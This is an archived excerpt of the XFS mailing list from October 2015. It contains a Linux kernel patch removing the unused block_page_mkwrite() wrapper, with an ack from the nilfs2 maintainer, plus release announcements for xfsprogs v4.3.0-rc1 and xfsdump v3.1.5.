Received: from orsmga001.jf.intel.com ([10.7.209.18]) by orsmga101.jf.intel.com with ESMTP; 13 Oct 2015 15:51:10 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,680,1437462000"; d="scan'208";a="791992388" Received: from theros.lm.intel.com ([10.232.112.146]) by orsmga001.jf.intel.com with ESMTP; 13 Oct 2015 15:51:09 -0700 From: Ross Zwisler To: linux-kernel@vger.kernel.org Cc: Ross Zwisler , "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dave Chinner , Ryusuke Konishi , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nilfs@vger.kernel.org, xfs@oss.sgi.com, Jan Kara , Christoph Hellwig Subject: [PATCH v2] vfs: remove unused wrapper block_page_mkwrite() Date: Tue, 13 Oct 2015 16:51:02 -0600 X-ASG-Orig-Subj: [PATCH v2] vfs: remove unused wrapper block_page_mkwrite() Message-Id: <1444776662-26574-1-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: git-send-email 2.1.0 X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1444776671 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The function currently called "__block_page_mkwrite()" used to be called "block_page_mkwrite()" until a wrapper for this function was added by: commit 24da4fab5a61 ("vfs: Create __block_page_mkwrite() helper passing error values back") This wrapper, the current "block_page_mkwrite()", is currently unused. __block_page_mkwrite() is used directly by ext4, nilfs2 and xfs. Remove the unused wrapper, rename __block_page_mkwrite() back to block_page_mkwrite() and update the comment above block_page_mkwrite(). Signed-off-by: Ross Zwisler Reviewed-by: Jan Kara Cc: Jan Kara Cc: Christoph Hellwig Cc: Al Viro --- fs/buffer.c | 24 ++---------------------- fs/ext4/inode.c | 4 ++-- fs/nilfs2/file.c | 2 +- fs/xfs/xfs_file.c | 2 +- include/linux/buffer_head.h | 2 -- 5 files changed, 6 insertions(+), 28 deletions(-) diff --git a/fs/buffer.c b/fs/buffer.c index 82283ab..e46c916 100644 --- a/fs/buffer.c +++ b/fs/buffer.c @@ -2420,9 +2420,9 @@ EXPORT_SYMBOL(block_commit_write); * unlock the page. * * Direct callers of this function should protect against filesystem freezing - * using sb_start_write() - sb_end_write() functions. + * using sb_start_pagefault() - sb_end_pagefault() functions. */ -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, +int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, get_block_t get_block) { struct page *page = vmf->page; @@ -2459,26 +2459,6 @@ out_unlock: unlock_page(page); return ret; } -EXPORT_SYMBOL(__block_page_mkwrite); - -int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, - get_block_t get_block) -{ - int ret; - struct super_block *sb = file_inode(vma->vm_file)->i_sb; - - sb_start_pagefault(sb); - - /* - * Update file times before taking page lock. We may end up failing the - * fault so this update may be superfluous but who really cares... - */ - file_update_time(vma->vm_file); - - ret = __block_page_mkwrite(vma, vmf, get_block); - sb_end_pagefault(sb); - return block_page_mkwrite_return(ret); -} EXPORT_SYMBOL(block_page_mkwrite); /* diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 612fbcf..2d1ecd2 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -5244,7 +5244,7 @@ int ext4_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) !ext4_should_journal_data(inode) && !ext4_nonda_switch(inode->i_sb)) { do { - ret = __block_page_mkwrite(vma, vmf, + ret = block_page_mkwrite(vma, vmf, ext4_da_get_block_prep); } while (ret == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)); @@ -5291,7 +5291,7 @@ retry_alloc: ret = VM_FAULT_SIGBUS; goto out; } - ret = __block_page_mkwrite(vma, vmf, get_block); + ret = block_page_mkwrite(vma, vmf, get_block); if (!ret && ext4_should_journal_data(inode)) { if (ext4_walk_page_buffers(handle, page_buffers(page), 0, PAGE_CACHE_SIZE, NULL, do_journal_get_write_access)) { diff --git a/fs/nilfs2/file.c b/fs/nilfs2/file.c index 54575e3..088ba00 100644 --- a/fs/nilfs2/file.c +++ b/fs/nilfs2/file.c @@ -109,7 +109,7 @@ static int nilfs_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) goto out; file_update_time(vma->vm_file); - ret = __block_page_mkwrite(vma, vmf, nilfs_get_block); + ret = block_page_mkwrite(vma, vmf, nilfs_get_block); if (ret) { nilfs_transaction_abort(inode->i_sb); goto out; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index e78feb4..f80e90f 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -1506,7 +1506,7 @@ xfs_filemap_page_mkwrite( ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, xfs_end_io_dax_write); } else { - ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); + ret = block_page_mkwrite(vma, vmf, xfs_get_blocks); ret = block_page_mkwrite_return(ret); } diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h index e6797de..89d9aa9 100644 --- a/include/linux/buffer_head.h +++ b/include/linux/buffer_head.h @@ -227,8 +227,6 @@ int cont_write_begin(struct file *, struct address_space *, loff_t, get_block_t *, loff_t *); int generic_cont_expand_simple(struct inode *inode, loff_t size); int block_commit_write(struct page *page, unsigned from, unsigned to); -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, - get_block_t get_block); int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, get_block_t get_block); /* Convert errno to return value from ->page_mkwrite() call */ -- 2.1.0 From david@fromorbit.com Tue Oct 13 19:40:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4B4027F37 for ; Tue, 13 Oct 2015 19:40:37 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1E1888F804B for ; Tue, 13 Oct 2015 17:40:33 -0700 (PDT) X-ASG-Debug-ID: 1444783225-04bdf06db1076e0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id N7m4K1b7ulneN1SM for ; Tue, 13 Oct 2015 17:40:26 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2BgBwA7pB1WPCSkLHlegyYjMW6CXYN+okIOAQEBAQaLHx6EfYYKFwKCeoMDBIFETQEBAQEBAQcBAQEBQT+FAzskNAUlAwctiC2fKqNwGYYVjQcMQ4ExBYc9jlmFGYd5gWBIhxaFI4RniEiCLQsBAQE5HYFoKjOFKiWBIgEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 14 Oct 2015 11:09:55 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZmA6l-0003Yo-6D for xfs@oss.sgi.com; Wed, 14 Oct 2015 11:39:55 +1100 Date: Wed, 14 Oct 2015 11:39:55 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsprogs: v4.3.0-rc1 released Message-ID: <20151014003955.GK31326@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsprogs: v4.3.0-rc1 released MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="Y7xTucakfITjPcLV" Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444783225 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23466 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --Y7xTucakfITjPcLV Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi folks, The xfsprogs repository at git://git.kernel.org/pub/scm/fs/xfs/xfsprogs-dev.git has just been updated. This update is tagged as the first release candidate for v4.3.0 as it contains all the bg fixes and enhancements that will be in the release. There is still some libxfs user/kernel sync work that needs to be done - I plan to have that done for an -rc2 release within a week, along with whatever problems people hit in testing this rc release.... -Dave. The new head of the master branch is commit: f7efc5e xfsprogs: Release v4.3.0-rc1 New Commits: Brian Foster (18): [a65d8d2] libxfs: validate metadata LSNs against log on v5 superblocks [7d77349] libxfs: track largest metadata LSN in use via verifiers [ad9b88e] libxfs: don't hardcode cycle 1 into unmount op header [0c12ba5] libxfs: pass lsn param to log clear and record header loggi= ng helpers [0337f27] libxfs: add ability to clear log to arbitrary log cycle [0ab627d] libxlog: pull struct xlog out of xlog_is_dirty() [1d6cb11] xfs_repair: track log state throughout all recovery phases [1ef257c] xfs_repair: process the log in no_modify mode [1926558] xfs_repair: format the log with forward cycle number on v5 = supers [f2053bc] xfs_repair: don't clear the log by default [9d2d8bd] xfs_repair: seed the max lsn from log state in phase 2 [7f72564] xfs_db: do not reset current lsn from uuid command on v5 su= pers [1c12a81] db/metadump: bump lsn when log is cleared on v5 supers [3616eb8] xfs_copy: check for dirty log on non-duplicate copies [96866b0] xfs_copy: genericize write helper to facilitate separate lo= g buf [08f2b83] xfs_copy: store data buf alignment in buf data structure [54b0c4d] xfs_copy: refactor log format code into new helper [b4d947d] xfs_copy: format v5 sb logs correctly Darrick J. Wong (4): [bb8aab6] xfs_io: support reflinking and deduping file ranges [bdc2a20] xfs_db: enable blocktrash for checksummed filesystems [37faa0d] xfs_db: trash the block at the top of the cursor stack [e96864f] xfs_db: enable blockget for v5 filesystems Dave Chinner (2): [293e343] db: fix AGI ops definition in CRC type table [f7efc5e] xfsprogs: Release v4.3.0-rc1 Eric Sandeen (18): [2f644bc] xfs_repair: remove trace-only 'n' member from da_level_state [54aeafa] xfs_repair: remove type from da & dir2 cursors [e41dd63] xfs_repair: make CRC checking consistent in path verificati= on [b63f5df] xfs_repair: use multibuffer read routines in attr_repair.c [82137e5] xfs_repair: fix use-after-free in verify_final_dir2_path [2b8a278] xfs_repair: add XR_DIR_TRACE to dir2.c [259d52f] xfs_repair: Remove BUF_PTR from attr_repair.c [02f1c21] xfs_repair: catch bad level/depth in da node [08724aa] xfs_repair: better checking of v5 attributes [d8c7dd7] xfs_repair: Remove more differences between attr & dir2 [e315cdf] xfs_repair: whitespace & comments [360f4a2] xfs_repair: move common dir2 and attr_repair code to da_uti= l.c [5cd3b07] xfs_repair: Fix up warning strings in da_util.c [d781a1b] libxfs: avoid negative (and full-width) shifts in radix-tre= e.c [fb36a55] xfs_repair: fix unaligned accesses [6f947c9] xfs_logprint: fix some unaligned accesses [1bec3a6] xfs_metadump: Fix unaligned accesses [c782bf0] xfs_repair: fix left-shift overflows Jan Tulak (13): [6635d6a] build: make libblkid usage optional [c6e8a13] platform: Add XATTR_LIST_MAX to OS X headers [ec9d24e] libxfs: avoid dependency on Linux XATTR_SIZE_MAX [54e724c] libxfs: prefix XATTR_LIST_MAX with XFS_ [7f7fd8a] build: Add includes required for OS X [c14c7b7] build: Add autoconf check for fsetxattr call [dccb965] platform: uuid changes for OS X [ad8371f] platform: Remove conflicting define for OS X [137200b] xfs_estimate: change nftw64 to nftw [07b010a] platform: Add a timer implementation for OS X [b35b4eb] platform: Add statvfs64 for OS X [a49984b] io: Make mremap conditional [9776e84] platform: rename lstat64 to lstat for OS X Mika Eloranta (1): [6af48b9] mkfs.xfs: option for using a pre-defined filesystem UUID Code Diffstat: Makefile | 2 +- VERSION | 4 +- configure.ac | 14 +- copy/Makefile | 4 +- copy/xfs_copy.c | 196 +++++++++--- copy/xfs_copy.h | 1 + db/check.c | 331 ++++++++++++++++++--- db/init.c | 25 +- db/metadump.c | 29 +- db/sb.c | 18 +- db/type.c | 6 +- doc/CHANGES | 9 + estimate/xfs_estimate.c | 6 +- fsr/xfs_fsr.c | 10 + include/builddefs.in | 12 +- include/darwin.h | 86 +++++- include/libxfs.h | 17 +- include/libxlog.h | 3 +- include/xfs_mount.h | 6 + io/Makefile | 6 +- io/dedupe.c | 190 ++++++++++++ io/init.c | 2 + io/io.h | 3 + io/mmap.c | 8 + io/reflink.c | 180 +++++++++++ libhandle/handle.c | 4 +- libhandle/jdm.c | 4 +- libxfs/libxfs_priv.h | 2 + libxfs/radix-tree.c | 14 +- libxfs/rdwr.c | 160 ++++++++-- libxfs/util.c | 41 +++ libxfs/xfs_alloc.c | 12 +- libxfs/xfs_attr_leaf.c | 2 + libxfs/xfs_attr_remote.c | 2 +- libxfs/xfs_btree.c | 16 +- libxfs/xfs_da_btree.c | 3 + libxfs/xfs_dir2_block.c | 2 + libxfs/xfs_dir2_data.c | 2 + libxfs/xfs_dir2_leaf.c | 2 + libxfs/xfs_dir2_node.c | 2 + libxfs/xfs_format.h | 10 +- libxfs/xfs_fs.h | 45 +++ libxfs/xfs_ialloc.c | 9 +- libxfs/xfs_sb.c | 9 + libxfs/xfs_symlink_remote.c | 3 + libxlog/util.c | 37 +-- logprint/log_misc.c | 21 +- m4/package_libcdev.m4 | 26 ++ man/man8/mkfs.xfs.8 | 4 + man/man8/xfs_db.8 | 15 +- man/man8/xfs_io.8 | 67 +++++ mkfs/xfs_mkfs.c | 53 +++- release.sh | 6 + repair/Makefile | 6 +- repair/attr_repair.c | 618 +------------------------------------- repair/da_util.c | 708 ++++++++++++++++++++++++++++++++++++++++= ++++ repair/da_util.h | 83 ++++++ repair/dinode.c | 47 +-- repair/dir2.c | 601 +------------------------------------ repair/dir2.h | 42 --- repair/incore_ino.c | 14 +- repair/phase2.c | 90 ++++-- repair/prefetch.c | 6 +- repair/progress.c | 3 +- repair/xfs_repair.c | 79 ++++- 65 files changed, 2511 insertions(+), 1527 deletions(-) create mode 100644 io/dedupe.c create mode 100644 io/reflink.c create mode 100644 repair/da_util.c create mode 100644 repair/da_util.h --=20 Dave Chinner david@fromorbit.com --Y7xTucakfITjPcLV Content-Type: application/pgp-signature; name="signature.asc" Content-Description: Digital signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.12 (GNU/Linux) iQIcBAEBAgAGBQJWHaRaAAoJEK3oKUf0dfodWtgQAKiFO2xYREsDa+Kqg901U4yk zzyW0j5YgOvxjORJ1sikbZHxD03IvgDd5qYqQJRIfBYDTYDpqhDzxIMhFREMPHev vV0Qz7nrUBfGkvPgSrV1jRpvuZC9wN/uCH7CkyOsK1xEd6Gxv9s4h5LbnbN9PRVP nkHpxAbbKNlpFep/y1Gb8msgtjHM7KdJKRk7EUDrFYW3aMr2uQhjVzBsWViGENT/ nh/GuAzEny1QExWB4EPrlkvMCT++yz4P6q5ofeBmBN1KSqN7+SRhR5JWahc2Pgbc zcEoZadN9xwtOStddnlbUc/GYYFcrGPivtz1cdTOxa1vDLgaS03oB5RLfbZx1nSk 3uafjf1+MjPuzAmPZQFmBViMzogCQ3XVAA5L3U6UE4XRuJfpUQNasWy8sY7m9nUe 5ZdvIBYcwnHZCSXVU+Tx1+QPS0PYUD+wonl6gU5S5PNeVpPh0yxE72yv+nsH1I+A qRqrx8uCoPRBlrPf/kJUrs1YuwLvjz7jAfV7lLVv+aeAaheG8jRd8VOZzDo04Osh X6+qBkYXfRCg0cqzZ5mvAeRNlv4wM2iiuUpOb0FzT7mGwFE6vv4adisKgCuXuTgs pSJ9TvLcHX+BO+v/kJOk6FIfF7UWEHqhHSKr+KS1S01QXf9azhh0MO+GmZnyCRri nG/CXbiAlmpYAfDLB4iR =3I7u -----END PGP SIGNATURE----- --Y7xTucakfITjPcLV-- From konishi.ryusuke@gmail.com Tue Oct 13 21:04:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D5D137F37 for ; Tue, 13 Oct 2015 21:04:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A6282304059 for ; Tue, 13 Oct 2015 19:04:01 -0700 (PDT) X-ASG-Debug-ID: 1444788239-04bdf06db20a930001-NocioJ Received: from mail-pa0-f42.google.com (mail-pa0-f42.google.com [209.85.220.42]) by cuda.sgi.com with ESMTP id pU4ubbZ3dOaBob8H (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 13 Oct 2015 19:03:59 -0700 (PDT) X-Barracuda-Envelope-From: konishi.ryusuke@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.42 Received: by pacex6 with SMTP id ex6so38221008pac.3 for ; Tue, 13 Oct 2015 19:03:59 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:message-id:to:cc:subject:from:in-reply-to:references :mime-version:content-type:content-transfer-encoding; bh=dxG8eI+a0yMLt1GGZVeLWXTDE3Siue8Y1/SDzy+OWNU=; b=oRWl0U7JDamsdtqWkv8AI46uboazI1JBZYTo2s1Wrs4eR1jROhKLF/Tcv2uQ4z/6dZ B+74J9MG1dddSTfNtXYPNjH5zV56Li3csgzFIQKoVVeerEviStpuO4IWNy9VbShY0WRa bkkLQyQIN10xZxG/xJ+LXsmRd0FzoG74WynxUF9aZ3JHdO3rawmFrQAAGNf0Vjk94UaH 6zNHcGeH5kzhkZUHGnSKn1yb4ktlQ9PTjhKk0Ot86ggMnIINBJzSsYMT0vTlFHXROSJv 0p31oqLtDEwU7G6Hm+PJngAaxz4T/62C5E6marZVnPJZ0VgYnHXI7Kbkhkvx21hNf8hZ xRfA== X-Received: by 10.66.146.4 with SMTP id sy4mr739767pab.79.1444788239225; Tue, 13 Oct 2015 19:03:59 -0700 (PDT) Received: from localhost (20.76.239.49.rev.vmobile.jp. [49.239.76.20]) by smtp.gmail.com with ESMTPSA id eg5sm6254410pac.30.2015.10.13.19.03.55 (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 13 Oct 2015 19:03:58 -0700 (PDT) Sender: Ryusuke Konishi X-Barracuda-Apparent-Source-IP: 49.239.76.20 X-Barracuda-BBL-IP: 49.239.76.20 Date: Wed, 14 Oct 2015 11:03:52 +0900 (JST) Message-Id: <20151014.110352.146137690378248054.konishi.ryusuke@lab.ntt.co.jp> To: Ross Zwisler Cc: linux-kernel@vger.kernel.org, "Theodore Ts'o" , Alexander Viro , Andreas Dilger , Dave Chinner , linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nilfs@vger.kernel.org, xfs@oss.sgi.com, Jan Kara , Christoph Hellwig Subject: Re: [PATCH v2] vfs: remove unused wrapper block_page_mkwrite() From: Ryusuke Konishi X-ASG-Orig-Subj: Re: [PATCH v2] vfs: remove unused wrapper block_page_mkwrite() In-Reply-To: <1444776662-26574-1-git-send-email-ross.zwisler@linux.intel.com> References: <1444776662-26574-1-git-send-email-ross.zwisler@linux.intel.com> X-Mailer: Mew version 6.6 on Emacs 24.3 / Mule 6.0 (HANACHIRUSATO) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-pa0-f42.google.com[209.85.220.42] X-Barracuda-Start-Time: 1444788239 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23467 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, 13 Oct 2015 16:51:02 -0600, Ross Zwisler wrote: > The function currently called "__block_page_mkwrite()" used to be called > "block_page_mkwrite()" until a wrapper for this function was added by: > > commit 24da4fab5a61 ("vfs: Create __block_page_mkwrite() helper passing > error values back") > > This wrapper, the current "block_page_mkwrite()", is currently unused. > __block_page_mkwrite() is used directly by ext4, nilfs2 and xfs. > > Remove the unused wrapper, rename __block_page_mkwrite() back to > block_page_mkwrite() and update the comment above block_page_mkwrite(). > > Signed-off-by: Ross Zwisler > Reviewed-by: Jan Kara > Cc: Jan Kara > Cc: Christoph Hellwig > Cc: Al Viro Acked-by: Ryusuke Konishi Thanks, Ryusuke Konishi > --- > fs/buffer.c | 24 ++---------------------- > fs/ext4/inode.c | 4 ++-- > fs/nilfs2/file.c | 2 +- > fs/xfs/xfs_file.c | 2 +- > include/linux/buffer_head.h | 2 -- > 5 files changed, 6 insertions(+), 28 deletions(-) > > diff --git a/fs/buffer.c b/fs/buffer.c > index 82283ab..e46c916 100644 > --- a/fs/buffer.c > +++ b/fs/buffer.c > @@ -2420,9 +2420,9 @@ EXPORT_SYMBOL(block_commit_write); > * unlock the page. > * > * Direct callers of this function should protect against filesystem freezing > - * using sb_start_write() - sb_end_write() functions. > + * using sb_start_pagefault() - sb_end_pagefault() functions. > */ > -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > +int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > get_block_t get_block) > { > struct page *page = vmf->page; > @@ -2459,26 +2459,6 @@ out_unlock: > unlock_page(page); > return ret; > } > -EXPORT_SYMBOL(__block_page_mkwrite); > - > -int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > - get_block_t get_block) > -{ > - int ret; > - struct super_block *sb = file_inode(vma->vm_file)->i_sb; > - > - sb_start_pagefault(sb); > - > - /* > - * Update file times before taking page lock. We may end up failing the > - * fault so this update may be superfluous but who really cares... > - */ > - file_update_time(vma->vm_file); > - > - ret = __block_page_mkwrite(vma, vmf, get_block); > - sb_end_pagefault(sb); > - return block_page_mkwrite_return(ret); > -} > EXPORT_SYMBOL(block_page_mkwrite); > > /* > diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c > index 612fbcf..2d1ecd2 100644 > --- a/fs/ext4/inode.c > +++ b/fs/ext4/inode.c > @@ -5244,7 +5244,7 @@ int ext4_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) > !ext4_should_journal_data(inode) && > !ext4_nonda_switch(inode->i_sb)) { > do { > - ret = __block_page_mkwrite(vma, vmf, > + ret = block_page_mkwrite(vma, vmf, > ext4_da_get_block_prep); > } while (ret == -ENOSPC && > ext4_should_retry_alloc(inode->i_sb, &retries)); > @@ -5291,7 +5291,7 @@ retry_alloc: > ret = VM_FAULT_SIGBUS; > goto out; > } > - ret = __block_page_mkwrite(vma, vmf, get_block); > + ret = block_page_mkwrite(vma, vmf, get_block); > if (!ret && ext4_should_journal_data(inode)) { > if (ext4_walk_page_buffers(handle, page_buffers(page), 0, > PAGE_CACHE_SIZE, NULL, do_journal_get_write_access)) { > diff --git a/fs/nilfs2/file.c b/fs/nilfs2/file.c > index 54575e3..088ba00 100644 > --- a/fs/nilfs2/file.c > +++ b/fs/nilfs2/file.c > @@ -109,7 +109,7 @@ static int nilfs_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf) > goto out; > > file_update_time(vma->vm_file); > - ret = __block_page_mkwrite(vma, vmf, nilfs_get_block); > + ret = block_page_mkwrite(vma, vmf, nilfs_get_block); > if (ret) { > nilfs_transaction_abort(inode->i_sb); > goto out; > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index e78feb4..f80e90f 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -1506,7 +1506,7 @@ xfs_filemap_page_mkwrite( > ret = __dax_mkwrite(vma, vmf, xfs_get_blocks_direct, > xfs_end_io_dax_write); > } else { > - ret = __block_page_mkwrite(vma, vmf, xfs_get_blocks); > + ret = block_page_mkwrite(vma, vmf, xfs_get_blocks); > ret = block_page_mkwrite_return(ret); > } > > diff --git a/include/linux/buffer_head.h b/include/linux/buffer_head.h > index e6797de..89d9aa9 100644 > --- a/include/linux/buffer_head.h > +++ b/include/linux/buffer_head.h > @@ -227,8 +227,6 @@ int cont_write_begin(struct file *, struct address_space *, loff_t, > get_block_t *, loff_t *); > int generic_cont_expand_simple(struct inode *inode, loff_t size); > int block_commit_write(struct page *page, unsigned from, unsigned to); > -int __block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > - get_block_t get_block); > int block_page_mkwrite(struct vm_area_struct *vma, struct vm_fault *vmf, > get_block_t get_block); > /* Convert errno to return value from ->page_mkwrite() call */ > -- > 2.1.0 > > -- > To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html From david@fromorbit.com Tue Oct 13 21:22:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8846C7F37 for ; Tue, 13 Oct 2015 21:22:28 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 08575AC004 for ; Tue, 13 Oct 2015 19:22:24 -0700 (PDT) X-ASG-Debug-ID: 1444789340-04cb6c1100102d0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id OhSUXwU6q5ZgOA6S for ; Tue, 13 Oct 2015 19:22:20 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2AaDACrux1WPCSkLHlegyYjMW6CXYN+ok4BAQEBAQEGix8ehH2GChcCgnqCCnkEgUVNAQEBAQEBBwEBAQFBP4UDOyQ0BSUDBy2ILZ8vo2YZhhWIM4I9ghcMQ4ExBYc9jlmFGYJwhQmCKIw5jS+CLQsBAQE5HYFoKjMBAQEBhm0BAQE Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 14 Oct 2015 12:51:01 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZmBgb-0003km-7y for xfs@oss.sgi.com; Wed, 14 Oct 2015 13:21:01 +1100 Date: Wed, 14 Oct 2015 13:21:01 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [ANNOUNCE] xfsdump: v3.1.5 released Message-ID: <20151014022101.GP27164@dastard> X-ASG-Orig-Subj: [ANNOUNCE] xfsdump: v3.1.5 released MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="UHN/qo2QbUvPLonB" Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444789340 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23468 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- --UHN/qo2QbUvPLonB Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi folks, The xfsdump repositories have just been updated and tagged with the v3.1.5 release tag. This is a minor bugfix release, and the changes can be found below. The source code can be found in these git repositories: git://oss.sgi.com/xfs/cmds/xfsdump v3.1.5 git://git.kernel.org/pub/scm/fs/xfs/xfsdump-dev.git v3.1.5 A signed gzipped-tar archive of the source code is available here: ftp://oss.sgi.com/projects/xfs/cmd_tars/xfsdump-3.1.5.tar.gz 